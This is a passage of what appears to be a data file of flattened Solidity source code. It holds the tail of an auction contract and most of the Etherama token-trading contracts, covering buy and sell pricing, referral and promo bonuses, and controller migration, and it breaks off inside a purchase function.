(seller == address(nonFungibleContract)) { lastGen0SalePrices[gen0SaleCount % 5] = price; gen0SaleCount++; } } function averageGen0SalePrice() external view returns (uint256) { uint256 sum = 0; for (uint256 i = 0; i < 5; i++) { sum += lastGen0SalePrices[i]; } return sum / 5; } }
0
pragma solidity ^0.4.25; contract IStdToken { function balanceOf(address _owner) public view returns (uint256); function transfer(address _to, uint256 _value) public returns (bool); function transferFrom(address _from, address _to, uint256 _value) public returns(bool); } contract EtheramaCommon { mapping(address => bool) private _administrators; mapping(address => bool) private _managers; modifier onlyAdministrator() { require(_administrators[msg.sender]); _; } modifier onlyAdministratorOrManager() { require(_administrators[msg.sender] || _managers[msg.sender]); _; } constructor() public { _administrators[msg.sender] = true; } function addAdministator(address addr) onlyAdministrator public { _administrators[addr] = true; } function removeAdministator(address addr) onlyAdministrator public { _administrators[addr] = false; } function isAdministrator(address addr) public view returns (bool) { return _administrators[addr]; } function addManager(address addr) onlyAdministrator public { _managers[addr] = true; } function removeManager(address addr) onlyAdministrator public { _managers[addr] = false; } function isManager(address addr) public view returns (bool) { return _managers[addr]; } } contract EtheramaGasPriceLimit is EtheramaCommon { uint256 public MAX_GAS_PRICE = 0 wei; event onSetMaxGasPrice(uint256 val); modifier validGasPrice(uint256 val) { require(val > 0); _; } constructor(uint256 maxGasPrice) public validGasPrice(maxGasPrice) { setMaxGasPrice(maxGasPrice); } function setMaxGasPrice(uint256 val) public validGasPrice(val) onlyAdministratorOrManager { MAX_GAS_PRICE = val; emit onSetMaxGasPrice(val); } } contract EtheramaCore is EtheramaGasPriceLimit { uint256 constant public MAGNITUDE = 2**64; uint256 constant public MIN_TOKEN_DEAL_VAL = 0.1 ether; uint256 constant public MAX_TOKEN_DEAL_VAL = 1000000 ether; uint256 constant public MIN_ETH_DEAL_VAL = 0.001 ether; uint256 constant public MAX_ETH_DEAL_VAL = 200000 ether; uint256 public _bigPromoPercent = 5 ether; uint256 public _quickPromoPercent = 5 ether; uint256 public _devRewardPercent = 15 ether; uint256 public _tokenOwnerRewardPercent = 30 ether; uint256 public _shareRewardPercent = 25 ether; uint256 public _refBonusPercent = 20 ether; uint128 public _bigPromoBlockInterval = 9999; uint128 public _quickPromoBlockInterval = 100; uint256 public _promoMinPurchaseEth = 1 ether; uint256 public _minRefEthPurchase = 0.5 ether; uint256 public _totalIncomeFeePercent = 100 ether; uint256 public _currentBigPromoBonus; uint256 public _currentQuickPromoBonus; uint256 public _devReward; uint256 public _initBlockNum; mapping(address => bool) private _controllerContracts; mapping(uint256 => address) private _controllerIndexer; uint256 private _controllerContractCount; mapping(address => mapping(address => uint256)) private _userTokenLocalBalances; mapping(address => mapping(address => uint256)) private _rewardPayouts; mapping(address => mapping(address => uint256)) private _refBalances; mapping(address => mapping(address => uint256)) private _promoQuickBonuses; mapping(address => mapping(address => uint256)) private _promoBigBonuses; mapping(address => mapping(address => uint256)) private _userEthVolumeSaldos; mapping(address => uint256) private _bonusesPerShare; mapping(address => uint256) private _buyCounts; mapping(address => uint256) private _sellCounts; mapping(address => uint256) private _totalVolumeEth; mapping(address => uint256) private _totalVolumeToken; event onWithdrawUserBonus(address indexed userAddress, uint256 ethWithdrawn); modifier onlyController() { require(_controllerContracts[msg.sender]); _; } constructor(uint256 maxGasPrice) EtheramaGasPriceLimit(maxGasPrice) public { _initBlockNum = block.number; } function getInitBlockNum() public view returns (uint256) { return _initBlockNum; } function addControllerContract(address addr) onlyAdministrator public { _controllerContracts[addr] = true; _controllerIndexer[_controllerContractCount] = addr; _controllerContractCount = SafeMath.add(_controllerContractCount, 1); } function removeControllerContract(address addr) onlyAdministrator public { _controllerContracts[addr] = false; } function changeControllerContract(address oldAddr, address newAddress) onlyAdministrator public { _controllerContracts[oldAddr] = false; _controllerContracts[newAddress] = true; } function setBigPromoInterval(uint128 val) onlyAdministrator public { _bigPromoBlockInterval = val; } function setQuickPromoInterval(uint128 val) onlyAdministrator public { _quickPromoBlockInterval = val; } function addBigPromoBonus() onlyController payable public { _currentBigPromoBonus = SafeMath.add(_currentBigPromoBonus, msg.value); } function addQuickPromoBonus() onlyController payable public { _currentQuickPromoBonus = SafeMath.add(_currentQuickPromoBonus, msg.value); } function setPromoMinPurchaseEth(uint256 val) onlyAdministrator public { _promoMinPurchaseEth = val; } function setMinRefEthPurchase(uint256 val) onlyAdministrator public { _minRefEthPurchase = val; } function setTotalIncomeFeePercent(uint256 val) onlyController public { require(val > 0 && val <= 100 ether); _totalIncomeFeePercent = val; } function setRewardPercentages(uint256 tokenOwnerRewardPercent, uint256 shareRewardPercent, uint256 refBonusPercent, uint256 bigPromoPercent, uint256 quickPromoPercent) onlyAdministrator public { require(tokenOwnerRewardPercent <= 40 ether); require(shareRewardPercent <= 100 ether); require(refBonusPercent <= 100 ether); require(bigPromoPercent <= 100 ether); require(quickPromoPercent <= 100 ether); require(tokenOwnerRewardPercent + shareRewardPercent + refBonusPercent + _devRewardPercent + _bigPromoPercent + _quickPromoPercent == 100 ether); _tokenOwnerRewardPercent = tokenOwnerRewardPercent; _shareRewardPercent = shareRewardPercent; _refBonusPercent = refBonusPercent; _bigPromoPercent = bigPromoPercent; _quickPromoPercent = quickPromoPercent; } function payoutQuickBonus(address userAddress) onlyController public { address dataContractAddress = Etherama(msg.sender).getDataContractAddress(); _promoQuickBonuses[dataContractAddress][userAddress] = SafeMath.add(_promoQuickBonuses[dataContractAddress][userAddress], _currentQuickPromoBonus); _currentQuickPromoBonus = 0; } function payoutBigBonus(address userAddress) onlyController public { address dataContractAddress = Etherama(msg.sender).getDataContractAddress(); _promoBigBonuses[dataContractAddress][userAddress] = SafeMath.add(_promoBigBonuses[dataContractAddress][userAddress], _currentBigPromoBonus); _currentBigPromoBonus = 0; } function addDevReward() onlyController payable public { _devReward = SafeMath.add(_devReward, msg.value); } function withdrawDevReward() onlyAdministrator public { uint256 reward = _devReward; _devReward = 0; msg.sender.transfer(reward); } function getBlockNumSinceInit() public view returns(uint256) { return block.number - getInitBlockNum(); } function getQuickPromoRemainingBlocks() public view returns(uint256) { uint256 d = getBlockNumSinceInit() % _quickPromoBlockInterval; d = d == 0 ? _quickPromoBlockInterval : d; return _quickPromoBlockInterval - d; } function getBigPromoRemainingBlocks() public view returns(uint256) { uint256 d = getBlockNumSinceInit() % _bigPromoBlockInterval; d = d == 0 ? _bigPromoBlockInterval : d; return _bigPromoBlockInterval - d; } function getBonusPerShare(address dataContractAddress) public view returns(uint256) { return _bonusesPerShare[dataContractAddress]; } function getTotalBonusPerShare() public view returns (uint256 res) { for (uint256 i = 0; i < _controllerContractCount; i++) { res = SafeMath.add(res, _bonusesPerShare[Etherama(_controllerIndexer[i]).getDataContractAddress()]); } } function addBonusPerShare() onlyController payable public { EtheramaData data = Etherama(msg.sender)._data(); uint256 shareBonus = (msg.value * MAGNITUDE) / data.getTotalTokenSold(); _bonusesPerShare[address(data)] = SafeMath.add(_bonusesPerShare[address(data)], shareBonus); } function getUserRefBalance(address dataContractAddress, address userAddress) public view returns(uint256) { return _refBalances[dataContractAddress][userAddress]; } function getUserRewardPayouts(address dataContractAddress, address userAddress) public view returns(uint256) { return _rewardPayouts[dataContractAddress][userAddress]; } function resetUserRefBalance(address userAddress) onlyController public { resetUserRefBalance(Etherama(msg.sender).getDataContractAddress(), userAddress); } function resetUserRefBalance(address dataContractAddress, address userAddress) internal { _refBalances[dataContractAddress][userAddress] = 0; } function addUserRefBalance(address userAddress) onlyController payable public { address dataContractAddress = Etherama(msg.sender).getDataContractAddress(); _refBalances[dataContractAddress][userAddress] = SafeMath.add(_refBalances[dataContractAddress][userAddress], msg.value); } function addUserRewardPayouts(address userAddress, uint256 val) onlyController public { addUserRewardPayouts(Etherama(msg.sender).getDataContractAddress(), userAddress, val); } function addUserRewardPayouts(address dataContractAddress, address userAddress, uint256 val) internal { _rewardPayouts[dataContractAddress][userAddress] = SafeMath.add(_rewardPayouts[dataContractAddress][userAddress], val); } function resetUserPromoBonus(address userAddress) onlyController public { resetUserPromoBonus(Etherama(msg.sender).getDataContractAddress(), userAddress); } function resetUserPromoBonus(address dataContractAddress, address userAddress) internal { _promoQuickBonuses[dataContractAddress][userAddress] = 0; _promoBigBonuses[dataContractAddress][userAddress] = 0; } function trackBuy(address userAddress, uint256 volEth, uint256 volToken) onlyController public { address dataContractAddress = Etherama(msg.sender).getDataContractAddress(); _buyCounts[dataContractAddress] = SafeMath.add(_buyCounts[dataContractAddress], 1); _userEthVolumeSaldos[dataContractAddress][userAddress] = SafeMath.add(_userEthVolumeSaldos[dataContractAddress][userAddress], volEth); trackTotalVolume(dataContractAddress, volEth, volToken); } function trackSell(address userAddress, uint256 volEth, uint256 volToken) onlyController public { address dataContractAddress = Etherama(msg.sender).getDataContractAddress(); _sellCounts[dataContractAddress] = SafeMath.add(_sellCounts[dataContractAddress], 1); _userEthVolumeSaldos[dataContractAddress][userAddress] = SafeMath.sub(_userEthVolumeSaldos[dataContractAddress][userAddress], volEth); trackTotalVolume(dataContractAddress, volEth, volToken); } function trackTotalVolume(address dataContractAddress, uint256 volEth, uint256 volToken) internal { _totalVolumeEth[dataContractAddress] = SafeMath.add(_totalVolumeEth[dataContractAddress], volEth); _totalVolumeToken[dataContractAddress] = SafeMath.add(_totalVolumeToken[dataContractAddress], volToken); } function getBuyCount(address dataContractAddress) public view returns (uint256) { return _buyCounts[dataContractAddress]; } function getTotalBuyCount() public view returns (uint256 res) { for (uint256 i = 0; i < _controllerContractCount; i++) { res = SafeMath.add(res, _buyCounts[Etherama(_controllerIndexer[i]).getDataContractAddress()]); } } function getSellCount(address dataContractAddress) public view returns (uint256) { return _sellCounts[dataContractAddress]; } function getTotalSellCount() public view returns (uint256 res) { for (uint256 i = 0; i < _controllerContractCount; i++) { res = SafeMath.add(res, _sellCounts[Etherama(_controllerIndexer[i]).getDataContractAddress()]); } } function getTotalVolumeEth(address dataContractAddress) public view returns (uint256) { return _totalVolumeEth[dataContractAddress]; } function getTotalVolumeToken(address dataContractAddress) public view returns (uint256) { return _totalVolumeToken[dataContractAddress]; } function getUserEthVolumeSaldo(address dataContractAddress, address userAddress) public view returns (uint256) { return _userEthVolumeSaldos[dataContractAddress][userAddress]; } function getUserTotalEthVolumeSaldo(address userAddress) public view returns (uint256 res) { for (uint256 i = 0; i < _controllerContractCount; i++) { res = SafeMath.add(res, _userEthVolumeSaldos[Etherama(_controllerIndexer[i]).getDataContractAddress()][userAddress]); } } function getTotalCollectedPromoBonus() public view returns (uint256) { return SafeMath.add(_currentBigPromoBonus, _currentQuickPromoBonus); } function getUserTotalPromoBonus(address dataContractAddress, address userAddress) public view returns (uint256) { return SafeMath.add(_promoQuickBonuses[dataContractAddress][userAddress], _promoBigBonuses[dataContractAddress][userAddress]); } function getUserQuickPromoBonus(address dataContractAddress, address userAddress) public view returns (uint256) { return _promoQuickBonuses[dataContractAddress][userAddress]; } function getUserBigPromoBonus(address dataContractAddress, address userAddress) public view returns (uint256) { return _promoBigBonuses[dataContractAddress][userAddress]; } function getUserTokenLocalBalance(address dataContractAddress, address userAddress) public view returns(uint256) { return _userTokenLocalBalances[dataContractAddress][userAddress]; } function addUserTokenLocalBalance(address userAddress, uint256 val) onlyController public { address dataContractAddress = Etherama(msg.sender).getDataContractAddress(); _userTokenLocalBalances[dataContractAddress][userAddress] = SafeMath.add(_userTokenLocalBalances[dataContractAddress][userAddress], val); } function subUserTokenLocalBalance(address userAddress, uint256 val) onlyController public { address dataContractAddress = Etherama(msg.sender).getDataContractAddress(); _userTokenLocalBalances[dataContractAddress][userAddress] = SafeMath.sub(_userTokenLocalBalances[dataContractAddress][userAddress], val); } function getUserReward(address dataContractAddress, address userAddress, bool incShareBonus, bool incRefBonus, bool incPromoBonus) public view returns(uint256 reward) { EtheramaData data = EtheramaData(dataContractAddress); if (incShareBonus) { reward = data.getBonusPerShare() * data.getActualUserTokenBalance(userAddress); reward = ((reward < data.getUserRewardPayouts(userAddress)) ? 0 : SafeMath.sub(reward, data.getUserRewardPayouts(userAddress))) / MAGNITUDE; } if (incRefBonus) reward = SafeMath.add(reward, data.getUserRefBalance(userAddress)); if (incPromoBonus) reward = SafeMath.add(reward, data.getUserTotalPromoBonus(userAddress)); return reward; } function getUserTotalReward(address userAddress, bool incShareBonus, bool incRefBonus, bool incPromoBonus) public view returns(uint256 res) { for (uint256 i = 0; i < _controllerContractCount; i++) { address dataContractAddress = Etherama(_controllerIndexer[i]).getDataContractAddress(); res = SafeMath.add(res, getUserReward(dataContractAddress, userAddress, incShareBonus, incRefBonus, incPromoBonus)); } } function getCurrentUserReward(bool incRefBonus, bool incPromoBonus) public view returns(uint256) { return getUserTotalReward(msg.sender, true, incRefBonus, incPromoBonus); } function getCurrentUserTotalReward() public view returns(uint256) { return getUserTotalReward(msg.sender, true, true, true); } function getCurrentUserShareBonus() public view returns(uint256) { return getUserTotalReward(msg.sender, true, false, false); } function getCurrentUserRefBonus() public view returns(uint256) { return getUserTotalReward(msg.sender, false, true, false); } function getCurrentUserPromoBonus() public view returns(uint256) { return getUserTotalReward(msg.sender, false, false, true); } function isRefAvailable(address refAddress) public view returns(bool) { return getUserTotalEthVolumeSaldo(refAddress) >= _minRefEthPurchase; } function isRefAvailable() public view returns(bool) { return isRefAvailable(msg.sender); } function withdrawUserReward() public { uint256 reward = getRewardAndPrepareWithdraw(); require(reward > 0); msg.sender.transfer(reward); emit onWithdrawUserBonus(msg.sender, reward); } function getRewardAndPrepareWithdraw() internal returns(uint256 reward) { for (uint256 i = 0; i < _controllerContractCount; i++) { address dataContractAddress = Etherama(_controllerIndexer[i]).getDataContractAddress(); reward = SafeMath.add(reward, getUserReward(dataContractAddress, msg.sender, true, false, false)); addUserRewardPayouts(dataContractAddress, msg.sender, reward * MAGNITUDE); reward = SafeMath.add(reward, getUserRefBalance(dataContractAddress, msg.sender)); resetUserRefBalance(dataContractAddress, msg.sender); reward = SafeMath.add(reward, getUserTotalPromoBonus(dataContractAddress, msg.sender)); resetUserPromoBonus(dataContractAddress, msg.sender); } return reward; } function withdrawRemainingEthAfterAll() onlyAdministrator public { for (uint256 i = 0; i < _controllerContractCount; i++) { if (Etherama(_controllerIndexer[i]).isActive()) revert(); } msg.sender.transfer(address(this).balance); } function calcPercent(uint256 amount, uint256 percent) public pure returns(uint256) { return SafeMath.div(SafeMath.mul(SafeMath.div(amount, 100), percent), 1 ether); } function convertRealTo256(int128 realVal) public pure returns(uint256) { int128 roundedVal = RealMath.fromReal(RealMath.mul(realVal, RealMath.toReal(1e12))); return SafeMath.mul(uint256(roundedVal), uint256(1e6)); } function convert256ToReal(uint256 val) public pure returns(int128) { uint256 intVal = SafeMath.div(val, 1e6); require(RealMath.isUInt256ValidIn64(intVal)); return RealMath.fraction(int64(intVal), 1e12); } } contract EtheramaData { address constant public TOKEN_CONTRACT_ADDRESS = 0x83cee9e086A77e492eE0bB93C2B0437aD6fdECCc; uint256 constant public TOKEN_PRICE_INITIAL = 0.0023 ether; uint64 constant public PRICE_SPEED_PERCENT = 5; uint64 constant public PRICE_SPEED_INTERVAL = 10000; uint64 constant public EXP_PERIOD_DAYS = 365; mapping(address => bool) private _administrators; uint256 private _administratorCount; uint64 public _initTime; uint64 public _expirationTime; uint256 public _tokenOwnerReward; uint256 public _totalSupply; int128 public _realTokenPrice; address public _controllerAddress = address(0x0); EtheramaCore public _core; uint256 public _initBlockNum; bool public _hasMaxPurchaseLimit = false; IStdToken public _token; modifier onlyController() { require(msg.sender == _controllerAddress); _; } constructor(address coreAddress) public { require(coreAddress != address(0x0)); _core = EtheramaCore(coreAddress); _initBlockNum = block.number; } function init() public { require(_controllerAddress == address(0x0)); require(TOKEN_CONTRACT_ADDRESS != address(0x0)); require(RealMath.isUInt64ValidIn64(PRICE_SPEED_PERCENT) && PRICE_SPEED_PERCENT > 0); require(RealMath.isUInt64ValidIn64(PRICE_SPEED_INTERVAL) && PRICE_SPEED_INTERVAL > 0); _controllerAddress = msg.sender; _token = IStdToken(TOKEN_CONTRACT_ADDRESS); _initTime = uint64(now); _expirationTime = _initTime + EXP_PERIOD_DAYS * 1 days; _realTokenPrice = _core.convert256ToReal(TOKEN_PRICE_INITIAL); } function isInited() public view returns(bool) { return (_controllerAddress != address(0x0)); } function getCoreAddress() public view returns(address) { return address(_core); } function setNewControllerAddress(address newAddress) onlyController public { _controllerAddress = newAddress; } function getPromoMinPurchaseEth() public view returns(uint256) { return _core._promoMinPurchaseEth(); } function addAdministator(address addr) onlyController public { _administrators[addr] = true; _administratorCount = SafeMath.add(_administratorCount, 1); } function removeAdministator(address addr) onlyController public { _administrators[addr] = false; _administratorCount = SafeMath.sub(_administratorCount, 1); } function getAdministratorCount() public view returns(uint256) { return _administratorCount; } function isAdministrator(address addr) public view returns(bool) { return _administrators[addr]; } function getCommonInitBlockNum() public view returns (uint256) { return _core.getInitBlockNum(); } function resetTokenOwnerReward() onlyController public { _tokenOwnerReward = 0; } function addTokenOwnerReward(uint256 val) onlyController public { _tokenOwnerReward = SafeMath.add(_tokenOwnerReward, val); } function getCurrentBigPromoBonus() public view returns (uint256) { return _core._currentBigPromoBonus(); } function getCurrentQuickPromoBonus() public view returns (uint256) { return _core._currentQuickPromoBonus(); } function getTotalCollectedPromoBonus() public view returns (uint256) { return _core.getTotalCollectedPromoBonus(); } function setTotalSupply(uint256 val) onlyController public { _totalSupply = val; } function setRealTokenPrice(int128 val) onlyController public { _realTokenPrice = val; } function setHasMaxPurchaseLimit(bool val) onlyController public { _hasMaxPurchaseLimit = val; } function getUserTokenLocalBalance(address userAddress) public view returns(uint256) { return _core.getUserTokenLocalBalance(address(this), userAddress); } function getActualUserTokenBalance(address userAddress) public view returns(uint256) { return SafeMath.min(getUserTokenLocalBalance(userAddress), _token.balanceOf(userAddress)); } function getBonusPerShare() public view returns(uint256) { return _core.getBonusPerShare(address(this)); } function getUserRewardPayouts(address userAddress) public view returns(uint256) { return _core.getUserRewardPayouts(address(this), userAddress); } function getUserRefBalance(address userAddress) public view returns(uint256) { return _core.getUserRefBalance(address(this), userAddress); } function getUserReward(address userAddress, bool incRefBonus, bool incPromoBonus) public view returns(uint256) { return _core.getUserReward(address(this), userAddress, true, incRefBonus, incPromoBonus); } function getUserTotalPromoBonus(address userAddress) public view returns(uint256) { return _core.getUserTotalPromoBonus(address(this), userAddress); } function getUserBigPromoBonus(address userAddress) public view returns(uint256) { return _core.getUserBigPromoBonus(address(this), userAddress); } function getUserQuickPromoBonus(address userAddress) public view returns(uint256) { return _core.getUserQuickPromoBonus(address(this), userAddress); } function getRemainingTokenAmount() public view returns(uint256) { return _token.balanceOf(_controllerAddress); } function getTotalTokenSold() public view returns(uint256) { return _totalSupply - getRemainingTokenAmount(); } function getUserEthVolumeSaldo(address userAddress) public view returns(uint256) { return _core.getUserEthVolumeSaldo(address(this), userAddress); } } contract Etherama { IStdToken public _token; EtheramaData public _data; EtheramaCore public _core; bool public isActive = false; bool public isMigrationToNewControllerInProgress = false; bool public isActualContractVer = true; address public migrationContractAddress = address(0x0); bool public isMigrationApproved = false; address private _creator = address(0x0); event onTokenPurchase(address indexed userAddress, uint256 incomingEth, uint256 tokensMinted, address indexed referredBy); event onTokenSell(address indexed userAddress, uint256 tokensBurned, uint256 ethEarned); event onReinvestment(address indexed userAddress, uint256 ethReinvested, uint256 tokensMinted); event onWithdrawTokenOwnerReward(address indexed toAddress, uint256 ethWithdrawn); event onWinQuickPromo(address indexed userAddress, uint256 ethWon); event onWinBigPromo(address indexed userAddress, uint256 ethWon); modifier onlyContractUsers() { require(getUserLocalTokenBalance(msg.sender) > 0); _; } modifier onlyAdministrator() { require(isCurrentUserAdministrator()); _; } modifier onlyCoreAdministrator() { require(_core.isAdministrator(msg.sender)); _; } modifier onlyActive() { require(isActive); _; } modifier validGasPrice() { require(tx.gasprice <= _core.MAX_GAS_PRICE()); _; } modifier validPayableValue() { require(msg.value > 0); _; } modifier onlyCoreContract() { require(msg.sender == _data.getCoreAddress()); _; } constructor(address dataContractAddress) public { require(dataContractAddress != address(0x0)); _data = EtheramaData(dataContractAddress); if (!_data.isInited()) { _data.init(); _data.addAdministator(msg.sender); _creator = msg.sender; } _token = _data._token(); _core = _data._core(); } function addAdministator(address addr) onlyAdministrator public { _data.addAdministator(addr); } function removeAdministator(address addr) onlyAdministrator public { _data.removeAdministator(addr); } function transferOwnershipRequest(address addr) onlyAdministrator public { addAdministator(addr); } function acceptOwnership() onlyAdministrator public { require(_creator != address(0x0)); removeAdministator(_creator); require(_data.getAdministratorCount() == 1); } function setHasMaxPurchaseLimit(bool val) onlyAdministrator public { _data.setHasMaxPurchaseLimit(val); } function activate() onlyAdministrator public { require(!isActive); if (getTotalTokenSupply() == 0) setTotalSupply(); require(getTotalTokenSupply() > 0); isActive = true; isMigrationToNewControllerInProgress = false; } function finish() onlyActive onlyAdministrator public { require(uint64(now) >= _data._expirationTime()); _token.transfer(msg.sender, getRemainingTokenAmount()); msg.sender.transfer(getTotalEthBalance()); isActive = false; } function buy(address refAddress, uint256 minReturn) onlyActive validGasPrice validPayableValue public payable returns(uint256) { return purchaseTokens(msg.value, refAddress, minReturn); } function sell(uint256 tokenAmount, uint256 minReturn) onlyActive onlyContractUsers validGasPrice public returns(uint256) { if (tokenAmount > getCurrentUserLocalTokenBalance() || tokenAmount == 0) return 0; uint256 ethAmount = 0; uint256 totalFeeEth = 0; uint256 tokenPrice = 0; (ethAmount, totalFeeEth, tokenPrice) = estimateSellOrder(tokenAmount, true); require(ethAmount >= minReturn); subUserTokens(msg.sender, tokenAmount); msg.sender.transfer(ethAmount); updateTokenPrice(-_core.convert256ToReal(tokenAmount)); distributeFee(totalFeeEth, address(0x0)); uint256 userEthVol = _data.getUserEthVolumeSaldo(msg.sender); _core.trackSell(msg.sender, ethAmount > userEthVol ? userEthVol : ethAmount, tokenAmount); emit onTokenSell(msg.sender, tokenAmount, ethAmount); return ethAmount; } function() onlyActive validGasPrice validPayableValue payable external { purchaseTokens(msg.value, address(0x0), 1); } function withdrawTokenOwnerReward() onlyAdministrator public { uint256 reward = getTokenOwnerReward(); require(reward > 0); _data.resetTokenOwnerReward(); msg.sender.transfer(reward); emit onWithdrawTokenOwnerReward(msg.sender, reward); } function prepareForMigration() onlyAdministrator public { require(!isMigrationToNewControllerInProgress); isMigrationToNewControllerInProgress = true; } function migrateFunds() payable public { require(isMigrationToNewControllerInProgress); } function getMaxGasPrice() public view returns(uint256) { return _core.MAX_GAS_PRICE(); } function getExpirationTime() public view returns (uint256) { return _data._expirationTime(); } function getRemainingTimeTillExpiration() public view returns (uint256) { if (_data._expirationTime() <= uint64(now)) return 0; return _data._expirationTime() - uint64(now); } function isCurrentUserAdministrator() public view returns(bool) { return _data.isAdministrator(msg.sender); } function getDataContractAddress() public view returns(address) { return address(_data); } function getTokenAddress() public view returns(address) { return address(_token); } function requestControllerContractMigration(address newControllerAddr) onlyAdministrator public { require(!isMigrationApproved); migrationContractAddress = newControllerAddr; } function approveControllerContractMigration() onlyCoreAdministrator public { isMigrationApproved = true; } function migrateToNewNewControllerContract() onlyAdministrator public { require(isMigrationApproved && migrationContractAddress != address(0x0) && isActualContractVer); isActive = false; Etherama newController = Etherama(address(migrationContractAddress)); _data.setNewControllerAddress(migrationContractAddress); uint256 remainingTokenAmount = getRemainingTokenAmount(); uint256 ethBalance = getTotalEthBalance(); if (remainingTokenAmount > 0) _token.transfer(migrationContractAddress, remainingTokenAmount); if (ethBalance > 0) newController.migrateFunds.value(ethBalance)(); isActualContractVer = false; } function getBuyCount() public view returns(uint256) { return _core.getBuyCount(getDataContractAddress()); } function getSellCount() public view returns(uint256) { return _core.getSellCount(getDataContractAddress()); } function getTotalVolumeEth() public view returns(uint256) { return _core.getTotalVolumeEth(getDataContractAddress()); } function getTotalVolumeToken() public view returns(uint256) { return _core.getTotalVolumeToken(getDataContractAddress()); } function getBonusPerShare() public view returns (uint256) { return SafeMath.div(SafeMath.mul(_data.getBonusPerShare(), 1 ether), _core.MAGNITUDE()); } function getTokenInitialPrice() public view returns(uint256) { return _data.TOKEN_PRICE_INITIAL(); } function getDevRewardPercent() public view returns(uint256) { return _core._devRewardPercent(); } function getTokenOwnerRewardPercent() public view returns(uint256) { return _core._tokenOwnerRewardPercent(); } function getShareRewardPercent() public view returns(uint256) { return _core._shareRewardPercent(); } function getRefBonusPercent() public view returns(uint256) { return _core._refBonusPercent(); } function getBigPromoPercent() public view returns(uint256) { return _core._bigPromoPercent(); } function getQuickPromoPercent() public view returns(uint256) { return _core._quickPromoPercent(); } function getBigPromoBlockInterval() public view returns(uint256) { return _core._bigPromoBlockInterval(); } function getQuickPromoBlockInterval() public view returns(uint256) { return _core._quickPromoBlockInterval(); } function getPromoMinPurchaseEth() public view returns(uint256) { return _core._promoMinPurchaseEth(); } function getPriceSpeedPercent() public view returns(uint64) { return _data.PRICE_SPEED_PERCENT(); } function getPriceSpeedTokenBlock() public view returns(uint64) { return _data.PRICE_SPEED_INTERVAL(); } function getMinRefEthPurchase() public view returns (uint256) { return _core._minRefEthPurchase(); } function getTotalCollectedPromoBonus() public view returns (uint256) { return _data.getTotalCollectedPromoBonus(); } function getCurrentBigPromoBonus() public view returns (uint256) { return _data.getCurrentBigPromoBonus(); } function getCurrentQuickPromoBonus() public view returns (uint256) { return _data.getCurrentQuickPromoBonus(); } function getCurrentTokenPrice() public view returns(uint256) { return _core.convertRealTo256(_data._realTokenPrice()); } function getTotalEthBalance() public view returns(uint256) { return address(this).balance; } function getTotalTokenSupply() public view returns(uint256) { return _data._totalSupply(); } function getRemainingTokenAmount() public view returns(uint256) { return _token.balanceOf(address(this)); } function getTotalTokenSold() public view returns(uint256) { return getTotalTokenSupply() - getRemainingTokenAmount(); } function getUserLocalTokenBalance(address userAddress) public view returns(uint256) { return _data.getUserTokenLocalBalance(userAddress); } function getCurrentUserLocalTokenBalance() public view returns(uint256) { return getUserLocalTokenBalance(msg.sender); } function isCurrentUserRefAvailable() public view returns(bool) { return _core.isRefAvailable(); } function getCurrentUserRefBonus() public view returns(uint256) { return _data.getUserRefBalance(msg.sender); } function getCurrentUserPromoBonus() public view returns(uint256) { return _data.getUserTotalPromoBonus(msg.sender); } function getTokenDealRange() public view returns(uint256, uint256) { return (_core.MIN_TOKEN_DEAL_VAL(), _core.MAX_TOKEN_DEAL_VAL()); } function getEthDealRange() public view returns(uint256, uint256) { uint256 minTokenVal; uint256 maxTokenVal; (minTokenVal, maxTokenVal) = getTokenDealRange(); return ( SafeMath.max(_core.MIN_ETH_DEAL_VAL(), tokensToEth(minTokenVal, true)), SafeMath.min(_core.MAX_ETH_DEAL_VAL(), tokensToEth(maxTokenVal, true)) ); } function getUserReward(address userAddress, bool isTotal) public view returns(uint256) { return isTotal ? _core.getUserTotalReward(userAddress, true, true, true) : _data.getUserReward(userAddress, true, true); } function get1TokenSellPrice() public view returns(uint256) { uint256 tokenAmount = 1 ether; uint256 ethAmount = 0; uint256 totalFeeEth = 0; uint256 tokenPrice = 0; (ethAmount, totalFeeEth, tokenPrice) = estimateSellOrder(tokenAmount, true); return ethAmount; } function get1TokenBuyPrice() public view returns(uint256) { uint256 ethAmount = 1 ether; uint256 tokenAmount = 0; uint256 totalFeeEth = 0; uint256 tokenPrice = 0; (tokenAmount, totalFeeEth, tokenPrice) = estimateBuyOrder(ethAmount, true); return SafeMath.div(ethAmount * 1 ether, tokenAmount); } function calcReward(uint256 tokenAmount) public view returns(uint256) { return (uint256) ((int256)(_data.getBonusPerShare() * tokenAmount)) / _core.MAGNITUDE(); } function estimateBuyOrder(uint256 amount, bool fromEth) public view returns(uint256, uint256, uint256) { uint256 minAmount; uint256 maxAmount; (minAmount, maxAmount) = fromEth ? getEthDealRange() : getTokenDealRange(); uint256 ethAmount = fromEth ? amount : tokensToEth(amount, true); require(ethAmount > 0); uint256 tokenAmount = fromEth ? ethToTokens(amount, true) : amount; uint256 totalFeeEth = calcTotalFee(tokenAmount, true); require(ethAmount > totalFeeEth); uint256 tokenPrice = SafeMath.div(ethAmount * 1 ether, tokenAmount); return (fromEth ? tokenAmount : SafeMath.add(ethAmount, totalFeeEth), totalFeeEth, tokenPrice); } function estimateSellOrder(uint256 amount, bool fromToken) public view returns(uint256, uint256, uint256) { uint256 minAmount; uint256 maxAmount; (minAmount, maxAmount) = fromToken ? getTokenDealRange() : getEthDealRange(); uint256 tokenAmount = fromToken ? amount : ethToTokens(amount, false); require(tokenAmount > 0); uint256 ethAmount = fromToken ? tokensToEth(tokenAmount, false) : amount; uint256 totalFeeEth = calcTotalFee(tokenAmount, false); require(ethAmount > totalFeeEth); uint256 tokenPrice = SafeMath.div(ethAmount * 1 ether, tokenAmount); return (fromToken ? ethAmount : tokenAmount, totalFeeEth, tokenPrice); } function getUserMaxPurchase(address userAddress) public view returns(uint256) { return _token.balanceOf(userAddress) - SafeMath.mul(getUserLocalTokenBalance(userAddress), 2); } function getCurrentUserMaxPurchase() public view returns(uint256) { return getUserMaxPurchase(msg.sender); } function getTokenOwnerReward() public view returns(uint256) { return _data._tokenOwnerReward(); } function getCurrentUserTotalPromoBonus() public view returns(uint256) { return _data.getUserTotalPromoBonus(msg.sender); } function getCurrentUserBigPromoBonus() public view returns(uint256) { return _data.getUserBigPromoBonus(msg.sender); } function getCurrentUserQuickPromoBonus() public view returns(uint256) { return _data.getUserQuickPromoBonus(msg.sender); } function getBlockNumSinceInit() public view returns(uint256) { return _core.getBlockNumSinceInit(); } function getQuickPromoRemainingBlocks() public view returns(uint256) { return _core.getQuickPromoRemainingBlocks(); } function getBigPromoRemainingBlocks() public view returns(uint256) { return _core.getBigPromoRemainingBlocks(); } function purchaseTokens(uint256 ethAmount, address refAddress, uint256 